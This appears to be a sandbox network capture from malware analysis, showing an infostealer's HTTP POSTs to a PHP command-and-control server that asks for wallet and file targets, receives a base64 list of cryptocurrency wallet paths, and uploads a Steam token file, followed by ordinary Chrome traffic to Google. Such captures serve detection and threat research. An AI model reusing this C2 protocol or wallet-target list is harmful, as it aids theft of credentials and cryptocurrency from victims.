Dec 24, 2024 22:27:21.887449980 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:21.930757999 CET	468	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJ Host: 135.181.65.216 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"wallets------EGIIIECBGDHJJKFIDAKJ--
Dec 24, 2024 22:27:22.355701923 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 24, 2024 22:27:22.358489990 CET	466	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 135.181.65.216 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"files------JJDBFCAEBFIJJKFHDAEC--
Dec 24, 2024 22:27:22.783237934 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:22.799575090 CET	564	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 135.181.65.216 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Dec 24, 2024 22:27:23.225812912 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:23.249377012 CET	473	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 135.181.65.216 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="message"ybncbhylepme------JDBGDHIIDAEBFHJJDBFI--
Dec 24, 2024 22:27:23.673518896 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:23.679757118 CET	473	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKK Host: 135.181.65.216 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDBFHJDAAFBAKEBGIJKK--
Dec 24, 2024 22:27:24.931884050 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	142.250.181.68	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 21:27:04 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.250.181.68	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 21:27:04 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 21:27:05 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 21:27:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 21:27:05 UTC	372	IN	Data Raw: 32 38 63 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 28ce)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 33 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 2c 31 30 32 32 37 38 32 31 31 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700263,3701384,102278205,102278211],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 Data Ascii: st c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{construct
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 